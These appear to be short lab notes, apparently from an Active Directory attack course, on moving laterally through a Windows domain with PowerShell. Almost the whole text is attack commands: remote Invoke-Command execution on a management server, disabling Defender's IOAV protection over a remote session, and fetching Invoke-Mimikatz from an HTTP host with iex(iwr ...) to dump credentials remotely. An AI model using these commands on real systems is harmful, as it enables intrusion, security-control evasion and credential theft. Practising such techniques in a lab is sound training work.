Property
Links
Invoke-Command -SCriptBlock {whoami;hostname} -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Invoke-Command -SCriptBlock {whoami;hostname} -ComputerName <name here>
Disable Remote AV
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Run Mimikatz on Remote Machine
iex (iwr http://172.16.100.18:8181/Invoke-Mimikatz.ps1 -UseBasicParsing)
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess